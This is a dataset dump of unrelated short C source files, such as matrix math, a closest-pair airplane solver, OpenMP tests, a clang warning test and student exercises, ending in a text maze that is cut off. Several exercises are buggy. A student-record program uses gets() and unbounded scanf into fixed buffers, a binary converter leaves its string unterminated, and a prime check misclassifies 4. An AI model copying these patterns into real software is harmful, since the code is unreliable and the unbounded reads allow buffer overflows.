file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
---|---|
the_stack_data/95451168.c
|
// 18 - Potência de Matrizes
#include <stdio.h>
#include <stdlib.h>
typedef struct {
float **ptr;
int lin;
int col;
} Matriz;
Matriz nova_matriz(int lin, int col)
{
int i, j;
Matriz m;
m.lin = lin;
m.col = col;
m.ptr = (float **) calloc(lin, sizeof (float *));
for (i = 0; i < lin; i++) {
m.ptr[i] = (float *) calloc(col, sizeof (float));
}
return m;
}
void scanf_matriz(Matriz m)
{
int i, j;
for (i = 0; i < m.lin; i++) {
for (j = 0; j < m.col; j++) {
scanf(" %f", &m.ptr[i][j]);
}
}
}
void printf_matriz(Matriz m)
{
int i, j;
for (i = 0; i < m.lin; i++) {
for (j = 0; j < m.col; j++) {
printf("%.3f", m.ptr[i][j]);
if (j + 1 < m.col) {
printf(" ");
}
}
printf("\n");
}
}
Matriz mult_matrizes_quadradas(Matriz m, Matriz m2)
{
int i, j, k;
int lin;
int col;
Matriz r;
lin = m.lin;
col = m.col;
r = nova_matriz(lin, col);
for(i = 0; i < lin; i++) {
for(j = 0; j < col; j++) {
for(k = 0; k < lin; k++) {
r.ptr[i][j] += m.ptr[i][k] * m2.ptr[k][j];
}
}
}
return r;
}
int main (void)
{
Matriz mtr;
Matriz result;
int dim;
int pow;
int i;
scanf(" %d", &dim);
scanf(" %d", &pow);
mtr = nova_matriz(dim, dim);
scanf_matriz(mtr);
result = nova_matriz(dim, dim);
//mult_matrizes_quadradas(mtr, mtr, result);
//printf_matriz(result);
if (pow == 1) {
printf_matriz(mtr);
exit(0);
}
else {
result = mult_matrizes_quadradas(mtr, mtr);
}
for (i = 3; i <= pow; i++) {
result = mult_matrizes_quadradas(mtr, result);
}
printf_matriz(result);
exit(0);
}
|
the_stack_data/211080901.c
|
/**
* @file main.c
* @author [email protected]
* @date 2019
* Solution to Progtest nr.5 Airplanes problem.
* Input example:
* [0,0] KLM KL1981
* [ 2 , 0 ] Wizz Air W67868
* [5, 0] Etihad Airways ETD26
* [7, 0] Emirates UAE93P
* [10, 0] British Airways BA123
* Expected output:
* Nejmensi vzdalenost: 2.000000
* KLM KL1981 - Wizz Air W67868
* Etihad Airways ETD26 - Emirates UAE93P
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <float.h>
#include <string.h>
#define MEM_START_LEN 128 /**< Starting size of memory allocation. */
#define MY_DBL_CONSTANT 1024 /**< Multiplicative constant for comparing double values */
/** @struct
* Point in 2D space structure, holding X and Y values.
*/
typedef struct S_Point{
double x; /**< X coordinate. */
double y; /**< Y coordinate. */
} s_point;
/** @struct
* Airplane structure to hold the X,Y coordinates and a name of a plane.
*/
typedef struct S_Airplane{
s_point coordinates; /**< Point structure holding X and Y coordinates of airplane. */
char * airplane_Name; /**< Name of airplane. Char array finished with '\0' symbol to make printing easier. */
} s_airplane;
/** @struct
* Structure to hold the distance and names of airplane pair.
*/
typedef struct S_AirplanePair{
double distance; /**< Distance between airplane A and B. */
s_airplane airplane_A; /**< Airplane A. */
s_airplane airplane_B; /**< Airplane B. */
} s_airplanePair;
/**
* Function that returns minimum of two double values
* @param[in] x First number.
* @param[in] y Second number.
* @return minimum of two doubles
*/
double dblMin(double x, double y){
return (x<y)?x:y;
}
/**
* Function to find whether two double numbers are close enough with relative precision given by
* the defined DBL constant.
* @param[in] a First number.
* @param[in] b Second number.
* @return 1 if "a==b", 0 if a!=b
*/
int dbl_comp(double a, double b){
if ( fabs(a - b) <= MY_DBL_CONSTANT * DBL_EPSILON * (fabs(a) + fabs(b))){
return 1;
}
return 0;
}
/**
* Function to find distance between two points in 2D space.
* dist = sqrt((p1.x - p2.x)*(p1.x - p2.x) + (p1.y - p2.y)*(p1.y - p2.y))
* @param[in] p1 First point.
* @param[in] p2 Second point.
*/
double dist(s_point p1, s_point p2) {
return sqrt((p1.x - p2.x)*(p1.x - p2.x) + (p1.y - p2.y)*(p1.y - p2.y));
}
/**
* Function to find distance between two airplanes.
* @param[in] p1 Airplane 1.
* @param[in] p2 Airplane 2.
* @return distance between airplanes
*/
double planeDist(s_airplane p1, s_airplane p2){
return dist(p1.coordinates,p2.coordinates);
}
/**
* Function which prints the result of the program.
* @param[in] airplanePairDatabase Pointer to airplane pairs database.
* @param[in] numberOfPairs Number of pairs.
*/
void printPairs(s_airplanePair * airplanePairDatabase, int numberOfPairs){
int i=0;
double minDistance = airplanePairDatabase[i].distance;
for (i=0; i < numberOfPairs && dbl_comp(airplanePairDatabase[i].distance, minDistance); ++i) {
printf("%s", airplanePairDatabase[i].airplane_A.airplane_Name);
printf(" - ");
printf("%s", airplanePairDatabase[i].airplane_B.airplane_Name);
printf("\n");
}
}
/**
* Function to free the planes database. Frees all plane names and then the whole array of structs.
* @param[in] airplaneDatabase Pointer to plane database.
* @param[in] numberOfAirplanes Number of planes in the database.
*/
void freePlanes(s_airplane * airplaneDatabase, int numberOfAirplanes){
for (int i = 0; i < numberOfAirplanes; ++i) {
free(airplaneDatabase[i].airplane_Name);
}
free(airplaneDatabase);
}
/**
* Quick sort comparator function for s_airplane structs.
* Sorted by Y coordinate.
*/
int airplaneCompareY(const void * i_a, const void * i_b){
const s_airplane * a = (s_airplane*)i_a;
const s_airplane * b = (s_airplane*)i_b;
if (a->coordinates.y < b->coordinates.y){
return 1;
} else if (a->coordinates.y > b->coordinates.y){
return -1;
} else {
return 0;
}
}
/**
* Function which implements binary search for airplanes database.
* @param[in] airplaneDatabase Pointer to airplane database.
* @param[in] numberOfPlanes Number of airplanes.
* @param[in] x X coordinate value.
* @param[in] y Y coordinate value.
* @param[in] airplaneName Airplane name.
* @return Returns 1 if airplane was found, 0 if not found.
*/
int binarySearchAirplane(s_airplane * airplaneDatabase, int numberOfPlanes, double x, double y, char * airplaneName){
int lo = 0, hi= numberOfPlanes - 1,mid;
while (lo <= hi){
mid = (lo + hi)/2;
if (airplaneDatabase[mid].coordinates.x > x){
hi = mid - 1;
} else if (airplaneDatabase[mid].coordinates.x < x) {
lo = mid +1;
} else {
if (airplaneDatabase[mid].coordinates.y > y){
hi = mid - 1;
} else if (airplaneDatabase[mid].coordinates.y < y) {
lo = mid +1;
} else {
int nameComp = strcmp(airplaneDatabase[mid].airplane_Name,airplaneName);
if ( nameComp < 0){
hi = mid - 1;
} else if (nameComp > 0){
lo = mid +1;
} else {
return 1;
}
}
}
}
return 0;
}
/**
* Function which returns an evaluation of the expression by which are airplanes added to the database in a sorted way.
* @param[in] airplaneDatabase Pointer to airplane database.
* @param[in] i Index in database.
* @param[in] x X coordinate.
* @param[in] y Y coordinate.
* @return Returns 1 if the expression is true, otherwise returns 0.
*/
int insertAirplaneExprEval(s_airplane * airplaneDatabase, int i, double x, double y){
int insertByX = i >= 0 && airplaneDatabase[i].coordinates.x > x;
int insertByY = i >= 0 && airplaneDatabase[i].coordinates.x == x && airplaneDatabase[i].coordinates.y > y;
int insertExpr = insertByX || insertByY;
return insertExpr;
}
/**
* Function which inserts the airplane in the right place in the database.
* The database is primarily sorted by the X value and secondly by the Y value.
* @param[in] airplaneDatabase Pointer to database of airplanes.
* @param[in] numberOfPlanes Number of airplanes.
* @param[in] x Coordinate of new airplane to be added to the database.
* @param[in] y Coordinate of new airplane to be added to the database.
* @param[in] airplaneName Name of new airplane to be added to the database.
*/
void insertAirplane(s_airplane * airplaneDatabase, int* numberOfPlanes, double x, double y, char * airplaneName){
int i;
if (! binarySearchAirplane(airplaneDatabase, *numberOfPlanes, x, y, airplaneName)){
for (i = (*numberOfPlanes) - 1; insertAirplaneExprEval(airplaneDatabase, i, x, y) ; i--){
airplaneDatabase[i+1] = airplaneDatabase[i];
}
airplaneDatabase[i+1].coordinates.x = x;
airplaneDatabase[i+1].coordinates.y = y;
airplaneDatabase[i+1].airplane_Name = airplaneName;
(*numberOfPlanes)++;
}
}
/**
* Function which removes n characters from the begging of a string.
* @param[in,out] stringInput Pointer to string (char arr[]).
* @param[in] numberOfCharsToDrop Number of chars to drop.
*/
void removeChars(char * stringInput, int numberOfCharsToDrop){
char * stringPointer = stringInput + numberOfCharsToDrop;
while (*stringPointer){
*stringInput = *stringPointer;
++stringInput;
++stringPointer;
}
*stringInput = '\0';
}
/**
* Function that takes care of reading the input.
* Reads formatted input that is required to be in the following format:
* [ double , double ] string '\n'
* Airplanes are divided by newlines.
* Keeps the array sorted by inserting into right places.
* @param[in,out] airplaneDatabasePtr Pointer to where the airplane array will be saved.
* @param[in,out] numberOfPlanesPtr Number of saved airplanes.
* @return 0 if everything went fine, otherwise returns 1.
*/
int readInput(s_airplane ** airplaneDatabasePtr, int * numberOfPlanesPtr){
s_airplane * airplaneDatabase = (s_airplane *)malloc(MEM_START_LEN * sizeof(*airplaneDatabase));
int numberOfPlanes = 0;
int maxNumOfPlanes = MEM_START_LEN;
int ret;
while (1){
char * airplaneName = (char *)malloc(MEM_START_LEN * sizeof(*airplaneName));
size_t airplaneNameLen = MEM_START_LEN;
int charsRead;
if((charsRead = getline(&airplaneName,&airplaneNameLen,stdin)) == -1){
free(airplaneName);
break;
}
airplaneName[charsRead-1] = '\0';
char leftBracket,dash,rightBracket;
double x,y;
int numberOfChars;
ret = sscanf(airplaneName, " %c %lf %c %lf %c %n",&leftBracket,&x,&dash,&y,&rightBracket,&numberOfChars);
if (ret != 5 || leftBracket != '[' || dash != ',' || rightBracket != ']'){
free(airplaneName);
freePlanes(airplaneDatabase, numberOfPlanes);
return 1;
}
if (numberOfPlanes >= maxNumOfPlanes){
s_airplane * moreAirplanes = (s_airplane*)realloc(airplaneDatabase, maxNumOfPlanes * 2 * sizeof(*moreAirplanes));
if (moreAirplanes == NULL){
free(airplaneName);
freePlanes(airplaneDatabase, numberOfPlanes);
return 1;
}
airplaneDatabase = moreAirplanes;
maxNumOfPlanes = numberOfPlanes * 2;
}
removeChars(airplaneName, numberOfChars);
insertAirplane(airplaneDatabase, &numberOfPlanes, x, y, airplaneName);
}
if(numberOfPlanes < 2){
freePlanes(airplaneDatabase, numberOfPlanes);
return 1;
}
*numberOfPlanesPtr = numberOfPlanes;
*airplaneDatabasePtr = airplaneDatabase;
return 0;
}
/**
* Function which implements binary search for finding duplicates in database of airplane pairs.
* @param[in] airplanePairDatabase Pointer to pairs database.
* @param[in] numberOfPairs Number of pairs in database.
* @param[in] distance Distance between airplanes.
* @param[in] airplane_A Airplane A.
* @param[in] airplane_B Airplane B.
* @return 1 if pair found, 0 pair not found.
*/
int binarySearchAirplanePair(s_airplanePair * airplanePairDatabase, int numberOfPairs, double distance, s_airplane airplane_A, s_airplane airplane_B){
int airplaneANameComparison;
int airplaneBNameComparison;
int lo = 0, hi= numberOfPairs - 1,mid;
while (lo <= hi){
mid = (lo + hi)/2;
if (airplanePairDatabase[mid].distance > distance){
hi = mid - 1;
} else if (airplanePairDatabase[mid].distance < distance) {
lo = mid +1;
} else {
airplaneANameComparison = strcmp(airplane_A.airplane_Name, airplanePairDatabase[mid].airplane_A.airplane_Name);
if (airplaneANameComparison < 0){
hi = mid -1;
} else if (airplaneANameComparison > 0) {
lo = mid +1;
} else {
airplaneBNameComparison = strcmp(airplane_B.airplane_Name, airplanePairDatabase[mid].airplane_B.airplane_Name);
if (airplaneBNameComparison < 0){
hi = mid -1;
} else if (airplaneBNameComparison > 0) {
lo = mid +1;
} else {
if (airplanePairDatabase[mid].airplane_A.coordinates.x > airplane_A.coordinates.x){
hi = mid -1;
} else if (airplanePairDatabase[mid].airplane_A.coordinates.x < airplane_A.coordinates.x){
lo = mid +1;
} else {
if (airplanePairDatabase[mid].airplane_A.coordinates.y > airplane_A.coordinates.y){
hi = mid -1;
} else if (airplanePairDatabase[mid].airplane_A.coordinates.y < airplane_A.coordinates.y) {
lo = mid +1;
} else {
if(airplanePairDatabase[mid].airplane_B.coordinates.x > airplane_B.coordinates.x){
hi = mid -1;
} else if (airplanePairDatabase[mid].airplane_B.coordinates.x < airplane_B.coordinates.x){
lo = mid +1;
} else {
if (airplanePairDatabase[mid].airplane_B.coordinates.y > airplane_B.coordinates.y){
hi = mid-1;
} else if (airplanePairDatabase[mid].airplane_B.coordinates.y < airplane_B.coordinates.y){
lo = mid +1;
} else {
return 1;
}
}
}
}
}
}
}
}
return 0;
}
/**
* Function which returns an evaluation of the expression by which air pairs of airplanes added to the database in a sorted way.
* @param[in] airplanePairDatabase Pointer to pairs database.
* @param[in] i Index in database.
* @param[in] distance Distance between planes.
* @param[in] A Airplane A.
* @param[in] B Airplane B.
* @return Returns 1 if the expression is true, otherwise returns 0.
*/
int insertAirplanePairExprEval(s_airplanePair * airplanePairDatabase, int i, double distance, s_airplane A, s_airplane B){
if (i<0)return 0;
//// insert by distance
int insertByDistance = i>=0 && airplanePairDatabase[i].distance > distance;
int equalDistance = i>=0 && airplanePairDatabase[i].distance == distance;
//// equal distance => insert by plane A name
int planeANameComp = strcmp(airplanePairDatabase[i].airplane_A.airplane_Name, A.airplane_Name);
int insertByPlaneAName = equalDistance && planeANameComp > 0;
//// equal distance and plane A name => insert by plane B name
int planeBNameComp = strcmp(airplanePairDatabase[i].airplane_B.airplane_Name, B.airplane_Name);
int insertByPlaneBName = equalDistance && planeANameComp == 0 && planeBNameComp > 0;
//// equal distance and plane names => insert by plane A coordinate X
int planeACoordXComp = airplanePairDatabase[i].airplane_A.coordinates.x > A.coordinates.x;
int insertByPlaneACoordX = equalDistance && planeANameComp == 0 && planeBNameComp == 0 && planeACoordXComp;
int equalPlaneACoordX = equalDistance && planeANameComp == 0 && planeBNameComp == 0 && airplanePairDatabase[i].airplane_A.coordinates.x == A.coordinates.x;
//// equal distance, plane names and plane A coordinate X => insert by plane A coordinate Y
int planeACoordYComp = airplanePairDatabase[i].airplane_A.coordinates.y > A.coordinates.y;
int insertByPlaneACoordY = equalPlaneACoordX && planeACoordYComp;
int equalPlaneACoordY = equalPlaneACoordX && airplanePairDatabase[i].airplane_A.coordinates.y > A.coordinates.y;
//// equal distance, plane names and both plane A coordinates => insert by plane B coordinate X
int planeBCoordXComp = airplanePairDatabase[i].airplane_B.coordinates.x > B.coordinates.x;
int insertByPlaneBCoordX = equalPlaneACoordY && planeBCoordXComp;
int equalPlaneBCoordX = equalPlaneACoordY && airplanePairDatabase[i].airplane_A.coordinates.y == A.coordinates.y;
//// equal distance, plane names, both plane A coordinates and plane B coordinate x => insert by plane B coordinate Y
int planeBCoordYComp = airplanePairDatabase[i].airplane_B.coordinates.y > B.coordinates.y;
int insertByPlaneBCoordY = equalPlaneBCoordX && planeBCoordYComp;
int insertExpr = insertByDistance || insertByPlaneAName || insertByPlaneBName || insertByPlaneACoordX || insertByPlaneACoordY || insertByPlaneBCoordX || insertByPlaneBCoordY;
return insertExpr;
}
/**
* Function which inserts the airplane pair in the right place in the database.
* Primarily sorted by distance, secondly by the name of airplane A and lastly by name of airplane B.
* @param[in] airplanePairDatabase Pointer to database of pairs.
* @param[in] numberOfPairs Number of pairs.
* @param[in] distance Distance between airplanes.
* @param[in] airplane_A Airplane A.
* @param[in] airplane_B Airplane B.
*/
void insertAirplanePair(s_airplanePair * airplanePairDatabase, int *numberOfPairs, double distance, s_airplane * airplane_A, s_airplane * airplane_B){
if (strcmp(airplane_A->airplane_Name,airplane_B->airplane_Name) > 0){
s_airplane * tmp = airplane_A;
airplane_A = airplane_B;
airplane_B = tmp;
}
if ( ! binarySearchAirplanePair(airplanePairDatabase, *numberOfPairs, distance, *airplane_A, *airplane_B) ){
int i;
for (i = (*numberOfPairs) - 1; insertAirplanePairExprEval(airplanePairDatabase, i, distance, *airplane_A, *airplane_B); i--){
airplanePairDatabase[i+1] = airplanePairDatabase[i];
}
airplanePairDatabase[i+1].distance = distance;
airplanePairDatabase[i+1].airplane_A = *airplane_A;
airplanePairDatabase[i+1].airplane_B = *airplane_B;
(*numberOfPairs)++;
}
}
/**
* Function which uses brute force approach to finding the smallest distance.
* @param[in] airplaneDatabase Pointer to airplanes database.
* @param[in] numberOfPlanes Number of airplanes.
* @param[in,out] outputDatabasePtr Pointer to output database.
* @param[in,out] numberOfPairsPtr Number of pairs in output database.
* @return Smallest distance found.
*/
double bruteForceMinDistance(s_airplane * airplaneDatabase, int numberOfPlanes, s_airplanePair * outputDatabasePtr, int * numberOfPairsPtr){
int numberOfPairs = *numberOfPairsPtr;
double minDistance = DBL_MAX;
for (int i = 0; i < numberOfPlanes; ++i){
for (int j = i+1; j < numberOfPlanes; ++j){
double planesDistance = planeDist(airplaneDatabase[i], airplaneDatabase[j]);
if (planesDistance < minDistance || dbl_comp(planesDistance, minDistance)){
minDistance=planeDist(airplaneDatabase[i], airplaneDatabase[j]);
insertAirplanePair(outputDatabasePtr, &numberOfPairs, minDistance, &airplaneDatabase[i], &airplaneDatabase[j]);
}
}
}
*numberOfPairsPtr = numberOfPairs;
return minDistance;
}
/**
* Function which finds the smallest distance between points inside a strip.
* Uses brute force which has a time complexity of (n^2). But there is proof that the number of comparisons is constant.
* @see https://en.wikipedia.org/wiki/Closest_pair_of_points_problem
* The strip holds the airplanes (points) which might have been split in the beginning of the recursive splitting.
* @param[in] strip Array of airplanes (points) which are in the middle strip of the 2d space.
* @param[in] numberOfAirplanesInStrip Number of airplanes inside the strip
* @param[in] distance Max distance found so far.
* @param[in,out] outputDatabasePtr Pointer to output database containing pairs.
* @param[in,out] numberOfPairsPtr Number of pairs in the database.
* @return Smallest distance between points in the strip.
*/
double stripMinDistance(s_airplane *strip, int numberOfAirplanesInStrip, double distance, s_airplanePair * outputDatabasePtr, int * numberOfPairsPtr){
int numberOfPairs = *numberOfPairsPtr;
double minDistance = distance;
qsort(strip, numberOfAirplanesInStrip, sizeof(s_airplane), airplaneCompareY);
for (int i = 0; i < numberOfAirplanesInStrip; ++i){
for (int j = i+1;
j < numberOfAirplanesInStrip && (strip[j].coordinates.y - strip[i].coordinates.y < minDistance || dbl_comp(strip[j].coordinates.y - strip[i].coordinates.y, minDistance));
++j){
double planeDistance = planeDist(strip[i],strip[j]);
if ( planeDistance < minDistance || dbl_comp(planeDistance,minDistance) ){
minDistance = planeDist(strip[i], strip[j]);
insertAirplanePair(outputDatabasePtr, &numberOfPairs, minDistance, &strip[i], &strip[j]);
}
}
}
*numberOfPairsPtr = numberOfPairs;
return minDistance;
}
/**
* Calculates the closest pair of airplanes using the divide and conquer algorithm.
* This requires the planes to be sorted by the X coordinate.
* More information about the algorithm
* @see https://en.wikipedia.org/wiki/Closest_pair_of_points_problem
* @param[in] airplaneDatabase Pointer to database of airplanes
* @param[in] numberOfPlanes Number of saved airplanes
* @return Distance of closest airplanes
*/
double closestAirplanesRec(s_airplane * airplaneDatabase, int numberOfPlanes, s_airplanePair * outputDatabasePtr, int * numberOfPairsPtr){
s_airplanePair * outputDatabase = outputDatabasePtr;
int numberOfPairs = * numberOfPairsPtr;
//// If the amount of Airplanes is small (<= 3), use brute force.
if(numberOfPlanes <= 3){
double bruteForceDistance = bruteForceMinDistance(airplaneDatabase, numberOfPlanes, outputDatabase, &numberOfPairs);
*numberOfPairsPtr = numberOfPairs;
*outputDatabasePtr = *outputDatabase;
return bruteForceDistance;
}
int middleIndex = numberOfPlanes / 2;
s_airplane midAirplane = airplaneDatabase[middleIndex];
//// Recursively find the smallest distance in the left a right sides of the plane.
double dl = closestAirplanesRec(airplaneDatabase, middleIndex, outputDatabase, &numberOfPairs);
double dr = closestAirplanesRec(airplaneDatabase + middleIndex, numberOfPlanes - middleIndex, outputDatabase,&numberOfPairs);
double d = dblMin(dl, dr);
//// Build an array of airplanes which have the maximum distance of d from the middle line.
//// This forms a strip in the 2D space. All points inside this strip must be distance checked because they were split
//// in the previous recursive step of the algorithm.
s_airplane * strip = (s_airplane*)malloc(numberOfPlanes * sizeof(*strip));
int j = 0;
for (int i = 0; i < numberOfPlanes; i++) {
double xDistance = fabs(airplaneDatabase[i].coordinates.x - midAirplane.coordinates.x);
if (xDistance < d || dbl_comp(xDistance,d)) {
strip[j] = airplaneDatabase[i];
j++;
}
}
//// Find the distance of the closest points in the strip. Return the smaller distance.
double stripMinDist = stripMinDistance(strip, j, d, outputDatabase, &numberOfPairs);
*numberOfPairsPtr = numberOfPairs;
*outputDatabasePtr = *outputDatabase;
free(strip);
return dblMin(d,stripMinDist);
}
/**
* Fucntion which allocates memory for the output pairs database and
* enters the recursive Closest Points Divide and Conquer algorithm.
* @param[in] airplaneDatabase Pointer to airplane database
* @param[in] numberOfPlanes Number of airplanes
* @param[out] outputDatabasePtr Pointer to database of airplane pairs.
* @param[out] numberOfPairsPtr Number of pairs with same distance from each other
* @return Returns minimal distance between two airplanes.
*/
double closestAirplanes(s_airplane * airplaneDatabase, int numberOfPlanes, s_airplanePair ** outputDatabasePtr, int * numberOfPairsPtr){
s_airplanePair * outputDatabase = (s_airplanePair *)malloc(numberOfPlanes * numberOfPlanes * sizeof(*outputDatabase));
double distance = closestAirplanesRec(airplaneDatabase, numberOfPlanes, outputDatabase, numberOfPairsPtr);
*outputDatabasePtr = outputDatabase;
return distance;
}
/**
* Main function.
* Program works in steps.
* 1) Read the input and save all the airplanes in a sorted way.
* 2) Use the Closest Pair Of Points algorithm to find all the pairs of planes with the minimal distance found between them.
* 3) Print the pairs to the standard output.
* Output handling:
* Create an output database of airplane pairs. Which will be sorted by distance.
* This database will have a maximum size of n*n (n being the number of planes) and will not be filled fully!
* Because the number of comparisons in between points is lowered by the closest points - divide and conquer algorithm
* @return 0 if everything went fine, otherwise returns 1.
*/
int main(void) {
int numberOfPlanes = 0;
s_airplane * airplaneDatabase = NULL;
printf("Zadejte lety:\n");
if (readInput(&airplaneDatabase, &numberOfPlanes)){
printf("Nespravny vstup.\n");
return 1;
}
int numberOfPairs = 0;
s_airplanePair * outputDatabase = NULL;
printf("Nejmensi vzdalenost: %lf\n",closestAirplanes(airplaneDatabase, numberOfPlanes, &outputDatabase, &numberOfPairs));
printPairs(outputDatabase,numberOfPairs);
free(outputDatabase);
freePlanes(airplaneDatabase,numberOfPlanes);
return 0;
}
|
the_stack_data/145453101.c
|
#include<stdio.h>
#include<stdlib.h>
typedef struct TASCII {
int codigo;
char character;
} ASCII;
int main ( void ) {
FILE * inputFile;
char path[] = "E:\/www\/programacao_estruturada\/lista_8\/dados.txt";
int resgitersQuantity = 0;
ASCII ascii;
if( ( inputFile = fopen(path, "r") ) == NULL ) {
printf("Arquivo nao pode ser aberto");
exit(1);
}
rewind(inputFile);
while(fread(&ascii, sizeof(ASCII), 1, inputFile)) {
resgitersQuantity += 1;
}
printf("Quantidade de registros no arquivo: %d", resgitersQuantity);
fclose(inputFile);
}
|
the_stack_data/93887891.c
|
// RUN: %clang_cc1 %s -verify -Wconversion -fsyntax-only -triple x86_64-pc-linux-gnu
// RUN: %clang_cc1 %s -verify -Wconversion -fsyntax-only -triple i386-pc-linux-gnu
void test(void) {
unsigned int a = 1;
unsigned long long b = -a; // expected-warning {{higher order bits are zeroes after implicit conversion}}
long long c = -a; // expected-warning {{the resulting value is always non-negative after implicit conversion}}
unsigned long b2 = -a;
#ifdef __x86_64__
// expected-warning@-2 {{higher order bits are zeroes after implicit conversion}}
#endif
long c2 = -a;
#ifdef __x86_64__
// expected-warning@-2 {{the resulting value is always non-negative after implicit conversion}}
#else
// expected-warning@-4 {{implicit conversion changes signedness: 'unsigned int' to 'long'}}
#endif
unsigned m;
int n = -(m & 0xff); // no warning
}
|
the_stack_data/60899.c
|
#include<stdio.h>
// funciton prototype
// recursive function
int factorial();
int main() {
printf(" recursive function \n ");
// call recursive function
int number=5;
int factorialNumber=factorial(number);
printf("\n the factorial of %d, is %d", number,factorialNumber);
return 0;
}
// recursive function definition
// returns integer
// takes argument in integer num parameter
int factorial(int num){
// if i is 0 or one, return value of one.
if(num==0 || num==1){
return 1;
}
else{
return num*factorial(num-1);
}
}
|
the_stack_data/148578773.c
|
#include <stdio.h>
#include <stdlib.h>
#include <omp.h>
int ordered_example(int lb, int ub, int stride, int nteams) {
int i;
int size = (ub-lb)/ stride;
double *output = (double*)malloc(size * sizeof(double));
#pragma omp target teams map(from \
: output [0:size]) num_teams(nteams) \
thread_limit(128)
#pragma omp parallel for ordered schedule(dynamic)
for (i=lb; i<ub; i+=stride) {
#pragma omp ordered
{
///////////////////////////////////////
//
// Make sure device printf is available, otherwise freezing
printf(" %02d : team %02d of %02d teams : thread %03d of %03d threads\n",
i, omp_get_team_num(), omp_get_num_teams(), omp_get_thread_num(),
omp_get_num_threads());
// The following shall be printed in order
// 0
// 5
// 10
// 15
// 20
// 21
// 22
//..
// 95
//
////////////////////////////////////////
output[(i-lb)/stride] = omp_get_wtime();
}
}
// verification
for (int j = 0; j < size; j++) {
for (int jj = j+1; jj < size; jj++) {
if (output[j] > output[jj]) {
printf("Fail to schedule in order.\n");
free(output);
return 1;
}
}
}
free(output);
printf("test OK\n");
return 0;
}
// The ordered construct above is executing every iteration on every team
// and on every thread. Every iteration on everythread does not seem correct
// This function is same as above without ordered construct to show
// iterations spread across the threads correctly. There may be a problem
// with ordered construct. I believe it should serialize on a single thread.
// This fails on trunk with nvptx as well as on amdgcn.
int NO_order_example(int lb, int ub, int stride, int nteams) {
int i;
int size = (ub - lb) / stride;
double *output = (double *)malloc(size * sizeof(double));
#pragma omp target teams map(from \
: output [0:size]) num_teams(nteams) \
thread_limit(128)
#pragma omp parallel for
for (i = lb; i < ub; i += stride) {
printf(" %02d : team %02d of %02d teams : thread %03d of %03d threads "
"NO_ORDER\n",
i, omp_get_team_num(), omp_get_num_teams(), omp_get_thread_num(),
omp_get_num_threads());
output[(i - lb) / stride] = omp_get_wtime();
}
// verification
for (int j = 0; j < size; j++) {
for (int jj = j + 1; jj < size; jj++) {
if (output[j] > output[jj]) {
printf("Fail to schedule in order.\n");
free(output);
return 1;
}
}
}
free(output);
printf("test OK\n");
return 0;
}
int main()
{
// use small teamcount=8 to avoid smoke-test timeout due to many synchronous
// printfs
NO_order_example(0, 10, 1, 8);
return ordered_example(0, 10, 1, 8);
}
|
the_stack_data/427871.c
|
//(1)输入一个整数,将它在内存中二进制表示的每一位转化成对应的数字字符并且存放到一个字符数组中,然后输出该整数的二进制表示。
#include<stdio.h>
void transform(int x, char a[]);
int main(void)
{
int x;
char a[100];
while(scanf("%d", &x)!=EOF)
transform(x, a);
}
void transform(int x,char a[])
{
int i = 1, j = 0;
a[0] = '\0';
while(x!=0)
{
a[i++] = x % 2+48;
x = x / 2;
}
char b[100];
for (j = 0; j < i;j++)
{
b[j] = a[i - j-1];
}
printf("%s\n", b);
}
|
the_stack_data/190768470.c
|
#include <stdio.h>
struct student
{
char name[50];
int roll;
float cgpa;
}personal;
struct address
{
char village[20];
char post[20];
char postcode[20];
char policestation[20];
char district[20];
} address;
struct contact
{
char mobile1[20];
char mobile2[20];
char email[20];
char website[25];
} contact;
int main()
{
printf("Program for a student details.\n\n");
printf("Enter your name: ");
gets(personal.name);
printf("Enter your Roll Number: ");
scanf("%d",&personal.roll);
printf("Enter your CGPA: ");
scanf("%f",&personal.cgpa);
printf("\nEnter Your Village Name: ");
scanf("%s",address.village);
printf("\nEnter Your Post Office Name: ");
scanf("%s",address.post);
printf("\nEnter Your Post Code: ");
scanf("%s",address.postcode);
printf("\nEnter Your Police Station Name: ");
scanf("%s",address.policestation);
printf("\nEnter Your District Name: ");
scanf("%s",address.district);
printf("Enter your first mobile number: ");
scanf("%s",contact.mobile1);
printf("Enter your second mobile number: ");
scanf("%s",contact.mobile2);
printf("Enter your Email: ");
scanf("%s",contact.email);
printf("Enter your website: ");
scanf("%s",contact.website);
printf("\n\nDisplaying information:\n");
printf("Personal Information:\n");
printf("Name: ");
puts(personal.name);
printf("Roll: %d\n",personal.roll);
printf("CGPA: %.2f\n",personal.cgpa);
printf("\n\tAddress Section: \t");
printf("Village: ");
puts(address.village);
printf("Post Office: ");
puts(address.post);
printf("Post Code: ");
puts(address.postcode);
printf("Police Station: ");
puts(address.policestation);
printf("District: ");
puts(address.district);
printf("\n\nContact Section: \n");
printf("First Mobile Number: ");
puts(contact.mobile1);
printf("Second Mobile Number:");
puts(contact.mobile2);
printf("Email:");
puts(contact.email);
printf("Website:");
puts(contact.website);
}
|
the_stack_data/561500.c
|
#include<stdio.h>
int iszs(int i){
int flag=0;
if(i==1||i==2||i==3) return 1;
else{
for(int j=2;j<i/2;j++){
if(i%j==0) flag=1;
}
if(flag==0) return 1;
else return 0;
}
}
int main(){
int n;
scanf("%d",&n);
for(int i=n+1;i<=105000;i++){
if(iszs(i)){
printf("%d",i);
break;
}
}
}
|
the_stack_data/145452289.c
|
/* text version of maze 'mazefiles/binary/beam94a.maz'
generated by mazetool (c) Peter Harrison 2018
o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o---o
| | | | | | | | |
o o---o o o o o o o o o---o---o---o o---o o
| | | | | | | | |
o o---o o o---o---o---o---o---o---o o o o o o o
| | | | | | | | |
o o---o---o o---o o---o o o o---o o o o o---o
| | | | | | | |
o o---o---o---o o---o o o o---o---o o---o o o---o
| | | | | | |
o---o o---o o---o o---o---o o---o o---o---o o o o
| | | | | | | | | |
o---o o---o---o---o---o o---o---o o---o o o---o o o
| | | | | |
o o o---o o---o---o---o---o o o---o---o o o---o---o
| | | | | | | | |
o o o o o o---o o o o---o---o---o o o---o o
| | | | | | | | | | |
o o---o---o o o o---o---o o o o o o---o---o o
| | | | | | | |
o o---o o o---o o---o---o---o---o---o o---o---o o o
| | | | | | | | | |
o o o---o---o o o---o---o---o---o---o o---o---o---o o
| | | | | | | | |
o o---o o o---o o o o---o---o o o o---o o---o
| | | | | | | | | | |
o o---o o---o o o o---o o o---o o o o---o o
| | | | | | | | | |
o o---o o o---o o o o o o---o---o o---o o o
| | | | | | | |
